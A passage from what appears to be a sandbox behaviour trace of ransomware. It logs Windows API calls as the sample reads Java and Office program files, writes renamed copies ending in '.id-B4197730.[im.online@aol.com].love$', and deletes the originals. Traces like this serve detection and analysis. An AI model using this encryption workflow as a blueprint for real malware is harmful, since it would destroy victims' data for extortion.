Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.700] lstrlenW (lpString=".dbf") returned 4 [0242.700] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0242.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.700] lstrlenW (lpString=".1cd") returned 4 [0242.700] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0242.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.700] lstrlenW (lpString=".jpg") returned 4 [0242.700] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0242.701] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".love$") returned -1 [0242.701] lstrlenW (lpString="tzmappings") returned 10 [0242.701] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.702] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=8400) returned 1 [0242.702] CloseHandle (hObject=0x488) returned 1 [0242.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0242.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.703] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.703] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.703] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0242.704] GetLastError () returned 0x0 [0242.704] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0242.964] WriteFile (in: hFile=0x53c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0242.966] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.966] WriteFile (in: hFile=0x53c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe8, lpOverlapped=0x0) returned 1 [0242.966] SetEndOfFile (hFile=0x53c) returned 1 [0242.976] CloseHandle (hObject=0x53c) returned 1 [0242.982] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.982] SetEndOfFile (hFile=0x488) returned 1 [0243.060] CloseHandle (hObject=0x488) returned 1 [0243.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0243.061] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0243.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.062] lstrlenW (lpString=".doc") returned 4 [0243.062] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString=".docx") returned 5 [0243.062] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0243.062] lstrlenW (lpString=".pdf") returned 4 [0243.062] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString=".xls") returned 4 [0243.062] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString=".xlsx") returned 5 [0243.062] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0243.062] lstrlenW (lpString=".ppt") returned 4 [0243.062] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.062] lstrlenW (lpString=".zip") returned 4 [0243.062] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString=".rar") returned 4 [0243.062] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString=".bz2") returned 4 [0243.062] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0243.062] lstrlenW (lpString=".7z") returned 3 [0243.062] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0243.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.063] lstrlenW (lpString=".dbf") returned 4 [0243.063] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.063] lstrlenW (lpString=".1cd") returned 4 [0243.063] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.063] lstrlenW (lpString=".jpg") returned 4 [0243.063] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.063] lstrlenW (lpString=".doc") returned 4 [0243.063] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString=".docx") returned 5 [0243.063] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0243.063] lstrlenW (lpString=".pdf") returned 4 [0243.063] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString=".xls") returned 4 [0243.063] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString=".xlsx") returned 5 [0243.063] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0243.063] lstrlenW (lpString=".ppt") returned 4 [0243.063] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.063] lstrlenW (lpString=".zip") returned 4 [0243.063] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0243.063] lstrlenW (lpString=".rar") returned 4 [0243.063] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0243.064] lstrlenW (lpString=".bz2") returned 4 [0243.064] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0243.064] lstrlenW (lpString=".7z") returned 3 [0243.064] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0243.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.064] lstrlenW (lpString=".dbf") returned 4 [0243.064] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0243.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.064] lstrlenW (lpString=".1cd") returned 4 [0243.064] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0243.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0243.064] lstrlenW (lpString=".jpg") returned 4 [0243.064] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0243.064] lstrcmpiW (lpString1=".EXE", lpString2=".love$") returned -1 [0243.064] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0243.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.148] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=27200) returned 1 [0243.148] CloseHandle (hObject=0x450) returned 1 [0243.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0243.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.152] lstrlenW (lpString=".doc") returned 4 [0243.152] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0243.152] lstrlenW (lpString=".docx") returned 5 [0243.152] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0243.153] lstrlenW (lpString=".pdf") returned 4 [0243.153] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0243.153] lstrlenW (lpString=".xls") returned 4 [0243.153] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0243.153] lstrlenW (lpString=".xlsx") returned 5 [0243.153] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0243.153] lstrlenW (lpString=".ppt") returned 4 [0243.153] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0243.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.153] lstrlenW (lpString=".zip") returned 4 [0243.153] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0243.153] lstrlenW (lpString=".rar") returned 4 [0243.153] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0243.153] lstrlenW (lpString=".bz2") returned 4 [0243.153] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0243.153] lstrlenW (lpString=".7z") returned 3 [0243.153] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0243.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.153] lstrlenW (lpString=".dbf") returned 4 [0243.153] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0243.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.153] lstrlenW (lpString=".1cd") returned 4 [0243.153] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0243.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.153] lstrlenW (lpString=".jpg") returned 4 [0243.153] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0243.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.154] lstrlenW (lpString=".doc") returned 4 [0243.154] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0243.154] lstrlenW (lpString=".docx") returned 5 [0243.154] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0243.154] lstrlenW (lpString=".pdf") returned 4 [0243.154] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0243.154] lstrlenW (lpString=".xls") returned 4 [0243.154] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0243.154] lstrlenW (lpString=".xlsx") returned 5 [0243.154] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0243.154] lstrlenW (lpString=".ppt") returned 4 [0243.154] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0243.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.154] lstrlenW (lpString=".zip") returned 4 [0243.154] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0243.154] lstrlenW (lpString=".rar") returned 4 [0243.154] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0243.154] lstrlenW (lpString=".bz2") returned 4 [0243.154] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0243.154] lstrlenW (lpString=".7z") returned 3 [0243.154] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0243.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.154] lstrlenW (lpString=".dbf") returned 4 [0243.154] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0243.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.154] lstrlenW (lpString=".1cd") returned 4 [0243.154] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0243.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0243.155] lstrlenW (lpString=".jpg") returned 4 [0243.155] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0243.155] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0243.155] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0243.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.162] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=21184) returned 1 [0243.162] CloseHandle (hObject=0x544) returned 1 [0243.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0243.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.954] lstrlenW (lpString=".doc") returned 4 [0243.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.964] lstrlenW (lpString=".docx") returned 5 [0243.964] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.964] lstrlenW (lpString=".pdf") returned 4 [0243.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.965] lstrlenW (lpString=".xls") returned 4 [0243.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.965] lstrlenW (lpString=".xlsx") returned 5 [0243.965] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.965] lstrlenW (lpString=".ppt") returned 4 [0243.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.965] lstrlenW (lpString=".zip") returned 4 [0243.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.965] lstrlenW (lpString=".rar") returned 4 [0243.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.965] lstrlenW (lpString=".bz2") returned 4 [0243.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.965] lstrlenW (lpString=".7z") returned 3 [0243.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.965] lstrlenW (lpString=".dbf") returned 4 [0243.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.965] lstrlenW (lpString=".1cd") returned 4 [0243.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.965] lstrlenW (lpString=".jpg") returned 4 [0243.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.965] lstrlenW (lpString=".doc") returned 4 [0243.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.966] lstrlenW (lpString=".docx") returned 5 [0243.966] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.966] lstrlenW (lpString=".pdf") returned 4 [0243.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.966] lstrlenW (lpString=".xls") returned 4 [0243.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.966] lstrlenW (lpString=".xlsx") returned 5 [0243.966] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.966] lstrlenW (lpString=".ppt") returned 4 [0243.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.966] lstrlenW (lpString=".zip") returned 4 [0243.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.966] lstrlenW (lpString=".rar") returned 4 [0243.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.966] lstrlenW (lpString=".bz2") returned 4 [0243.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.966] lstrlenW (lpString=".7z") returned 3 [0243.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.966] lstrlenW (lpString=".dbf") returned 4 [0243.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.966] lstrlenW (lpString=".1cd") returned 4 [0243.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0243.966] lstrlenW (lpString=".jpg") returned 4 [0243.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.967] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0243.967] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0243.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.968] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10562) returned 1 [0243.968] CloseHandle (hObject=0x450) returned 1 [0243.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0243.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.969] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.969] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0243.970] GetLastError () returned 0x0 [0243.970] ReadFile (in: hFile=0x450, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2942, lpOverlapped=0x0) returned 1 [0244.321] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2950, lpOverlapped=0x0) returned 1 [0244.322] ReadFile (in: hFile=0x450, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.322] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.322] SetEndOfFile (hFile=0x488) returned 1 [0244.447] CloseHandle (hObject=0x488) returned 1 [0244.447] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.447] SetEndOfFile (hFile=0x450) returned 1 [0244.488] CloseHandle (hObject=0x450) returned 1 [0244.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.490] lstrlenW (lpString=".doc") returned 4 [0244.490] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.490] lstrlenW (lpString=".docx") returned 5 [0244.490] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.490] lstrlenW (lpString=".pdf") returned 4 [0244.490] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.490] lstrlenW (lpString=".xls") returned 4 [0244.490] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.490] lstrlenW (lpString=".xlsx") returned 5 [0244.490] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.490] lstrlenW (lpString=".ppt") returned 4 [0244.490] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.490] lstrlenW (lpString=".zip") returned 4 [0244.490] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.490] lstrlenW (lpString=".rar") returned 4 [0244.490] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.490] lstrlenW (lpString=".bz2") returned 4 [0244.490] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.491] lstrlenW (lpString=".7z") returned 3 [0244.491] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.491] lstrlenW (lpString=".dbf") returned 4 [0244.491] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.491] lstrlenW (lpString=".1cd") returned 4 [0244.491] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.491] 